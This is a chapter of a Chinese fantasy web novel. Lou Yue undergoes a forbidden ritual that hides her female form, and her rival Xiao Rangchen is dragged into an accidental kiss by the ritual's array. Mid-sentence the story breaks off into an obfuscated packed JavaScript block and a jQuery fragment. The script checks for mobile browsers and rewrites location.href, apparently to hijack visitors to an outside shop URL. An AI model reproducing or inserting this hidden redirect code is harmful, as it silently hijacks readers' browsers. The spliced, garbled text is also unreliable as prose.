楼玥安心躺下阖上眼。
玄八落在楼玥身旁,望着好不容易消停下来的人,难得生出一丝迟疑。
“你若后悔,现在还来得及。这一步踏出去再无回头路,你的未来会全然改变。”
楼玥睁眼看它,好笑道:“刚还说我,现在婆妈的是谁啊?”
她伸手,纤细的五指在蔚蓝天空下舒展:“玄八,我相信命运掌握在自己手中,我的心在告诉我,往前走,别回头。”
玄八沉默,少顷,冷冷开口:“煽什么情,闭眼,别再动。”
楼玥弯起唇角:“遵命,玄大人!”
玄八吸了口气,张开嘴,半颗内丹缓缓浮出来。那内丹缺了一半但依旧光芒四射七彩缤纷。
几乎是同一瞬,楼玥身体也涌出七彩流光,与那半颗内丹遥遥相映。
她看不见玄八在做什么,只觉额头突然发热,浑身血液都沸腾起来,与此相悖的是,意识变得昏沉模糊。
就在彻底失去意识的瞬间,她肌肤表面缓缓显露出繁密的太阳形金纹,由眉心正中的太阳印记发散,遍布她身体各处,连发丝都包裹在内。
玄八浮起,前爪合十,沉声一喝:“无相,开!”
刹那间,楼玥身上的金纹猛地一亮,如蝉翼一般脱离她身体,轻飘飘悬在上空。
脱离金纹的楼玥,身形悄然发生变化,五官轮廓改变不大,唇色却愈发嫣红欲滴,微起的喉结消隐化作流畅的脖颈线,延至锁骨。
原本平坦的衣襟,此刻被撑出饱满的弧度,随着呼吸轻轻起伏,微敞的领口,露出几分细腻的软白,整个人俨然从矜贵俊朗的少年变成明丽耀眼的少女。
玄八对此毫不意外,它取出一滴心头血,注入剥离的金纹里,下一刻,金纹剧烈震颤,位于核心处的太阳印记里缓缓析出半颗七彩内丹。
甫一出现,两颗内丹便互相吸引,急切想合二为一,玄八阻止内丹融合,它淡淡望向那半颗离体十八载的内丹,垂下眼——
“咔嚓!”
析出的半颗内丹在另外半颗的牵引下,寸寸碎裂,丹内蕴藏的磅礴灵力潮水般涌向金纹……
于楼玥,她这一步跨出无法再回头,于它,亦是如此。
无相秘法,乃上古禁术,能掩盖身形变成另一副样子,任凭修为通天也堪不破,若被施术者不自知,便是连本人也察觉不了。
而与此相对,被施术者对外界灵力的感知和吸收也会极度压缩。
想要恢复感知,拿回内丹解开无相秘法即可,只一旦解开,楼玥女身秘密暴露,届时将引来所有人的觊觎。
这是道无解题,它唯一能做的就是在解开秘法后,竭力延缓那一天的到来。尽管代价是它永远失去半颗内丹,修为难以再进。
玄八瞥了眼楼玥恬静的睡颜,想到另一张相似的面容,它无声叹息,大抵,这辈子遇到她们母女二人,是它命中注定的劫数吧……
金纹在浩瀚灵力的注入下发出夺目刺眼的光芒,随着那半颗内丹完全化为飞灰,金纹骤然暴动起来,似是想挣脱束缚,破空而去。
四周的法阵倏地亮起,数道金线如灵蛇窜出,将逃窜的金纹牢牢缠住,又有几道探出,将楼玥的身体拉向半空,来自水底、水面、大地、业火藤、樟銮树的五色灵光汇聚,齐齐冲向金纹,硬生生将它往楼玥体内压去。
金纹再难抵抗,只得缓缓归位,重新隐入楼玥身体里。
接下来,只要静等金纹与楼玥彻底相融。玄八趴下,对外界轰隆的雷声视而不见,默默守着楼玥。
此时,玄都上空,银色天雷如虬龙探爪狠狠劈落,触到笼罩整个玄都的结界时被阻挡在外,化作漫天乱舞的电光。
玄天都与玄地城的人,皆抬头望天,纷纷猜测是不是城内有人突破没及时赶去渡劫地。
玄天都最高处,高耸入云的塔廊下,立着位墨袍老者,满头白发垂落不见半分龙钟老态。
“家主。”
同样须发皆白的老仆从从拐角走出,声若洪钟:“玥少爷带着三爷的玉牌已到玄地城,需要派人接上来吗?”
“不必。”楼莫头也未回,将手里一方漆黑的方块掷过去,“仲岩,将此物放进雀云生不起眼的角落。”
楼仲岩稳稳接住,眼里闪过了然的笑意:“家主终究还是决定将它给玥少爷了。”
“谁说给她的!”楼莫一声断喝,盖过外头的雷鸣。
楼仲岩跟他七十载,岂会不知他口是心非的性子,也明白管理个偌大的世家其中的艰辛与权衡。
“是仲岩失言。”他躬身告饶,嘴角挂着笑,“我这就去雀云生。”
结界外的雷电仍在劈,听得人生厌,楼莫白眉竖起,冷哼一声,挥袖间,一道强悍的灵力直冲天际,只听“轰隆”巨响,那聚在结界上空的雷电被径直拍散。
天地间重归寂静。
外界的变化,丝毫未影响到玄八,更未影响到在融合的楼玥。
日落又升,玄八强撑着灵力透支和内丹的反噬,不肯陷入龟息状态,直到楼玥变回少年身形,融合仅余最后的收尾时,它才再撑不住,寒冰转瞬将它包裹。
而就在玄八冰封后没一会儿,结界内突然产生灵力波动。
“哗啦——”破水声打破宁静。
萧让尘甫现身,法阵里沉寂的金线骤然苏醒,“唰”缠上他四肢与腰腹。
萧让尘面色一沉,他借助青霖的能力从城外遁入这片聚灵之地,可没料到这里会有法阵,而看似纤细的金线,蕴含的灵力竟远超他如今能抗衡的极限。
萧让尘飞速扫过四周寻找办法,余光瞥见空中的楼玥,不等他反应,金线猛地收紧,带着不容抗拒的力道将他往上拽去!
视野里,那素来乖张恣意的脸猛然放大——
下一秒,唇上传来柔软的触感。
萧让尘浑身一僵,漆黑的眸里全是震惊,连呼吸都停滞。
他用力后撤,可缠在身上的金线像是有灵智,非但不许他后退,反越收越紧,几乎要将他整个人都揉进楼玥身体里。
“楼玥!”萧让尘低吼,试图唤醒她。
唇齿动作间,柔软陷入他口中。
萧让尘再次僵硬,他不敢有任何动作,但哪怕他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025015|194362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不动,异样的温热也时刻彰显着存在感,他甚至能尝到那唇上残留的、淡淡的春华果味道。
萧让尘喉结滚动,猛地阖眼,用力偏过头去。
两人唇瓣碾过彼此的脸颊,落在空处。
萧让尘莫名松了口气,紧绷的脊背微微发颤,还未缓和,灼热的气息灌进右耳。
楼玥的唇瓣微启,在他耳畔,将触未触。
萧让尘此生从未和谁靠这么近,更别说还是个男人……
时间变得格外难熬,仿佛过了一年之久,又似乎仅是片刻。
束缚他的金线力道陡然减弱,连同法阵的光芒也渐渐淡去,萧让尘几乎是立刻挣脱,落回地面。
站定后,他抬手重重抹过唇瓣,指背触到唇角,动作顿了顿,又下意识蹭了蹭发烫的右耳。
他没有看楼玥,只攥紧了拳,抬脚就往外走。
“萧让尘?”
身后传来几分迷糊的声调,萧让尘脚步滞住。
楼玥望着下方熟悉的背影,混沌的神智回笼。
“你怎么会在这!”
“你怎么进来的?”
“你什么时候来的?!”
楼玥惊惶三连问,她没料到居然真的凭空冒出个人,还是她最讨厌的龙傲天。
最后一道金线消散,楼玥足尖一点落在地面,她一把抱起被寒冰包裹的玄八,清冽的嗓音里满是警惕与怀疑:“你对玄八做了什么?”
萧让尘眼尾下压,缓缓转过身,望向楼玥怀里的玄八,语气没半分暖意:“你难道看不出它是灵力透支陷入的龟息?我一个灵脉受损的废人,能让它如此?你未免,也太高看我。”
论对这个世界隐含设定的了解,楼玥作为外来者的确不如萧让尘,听到说玄八这样是龟息,她稍稍安定。虽不喜欢萧让尘,她却也知道他是个敢做敢当的人。
不过……他干嘛火气这么大?按他冷淡的性子,不是直接丢下句‘不是我’就完事,现在不仅解释还说自己是废人……这太不像他了吧?
就在楼玥心里直犯嘀咕时,萧让尘的视线也缓缓落在她身上。
巧得很,楼玥身上的孔雀绿锦袍,颜色和三年前他第一次见她时一样。
她的头发总不像别的男子束起,仅用华丽的簪子松松别在耳后,衬着似笑非笑的桃花眼,在人堆里莫名扎眼,让见过她的人再忘不掉。
但就好比遥挂天际的骄阳,只不管不顾地照进别人眼底,却从无人能在骄阳上留下丝毫痕迹。
萧让尘想,他之于她,大抵就是个不愿扯上关系的卑贱平民,他们之间纵不是敌人,也断不可能是朋友。
“你什么时候来的?有没有发生什么异常?”
萧让尘嗓音沉而简洁:“刚到,没有。”
“那就好……”
“现在,我能走了?”没等楼玥回答,萧让尘径直转身,大步离去。
楼玥站在原地,望着那挺拔的背影,觉得有点奇怪。
目光扫到萧让尘右耳上的荆棘扣和耳尖不正常的红晕,这种奇怪的感觉更甚了。
直至翌日清晨……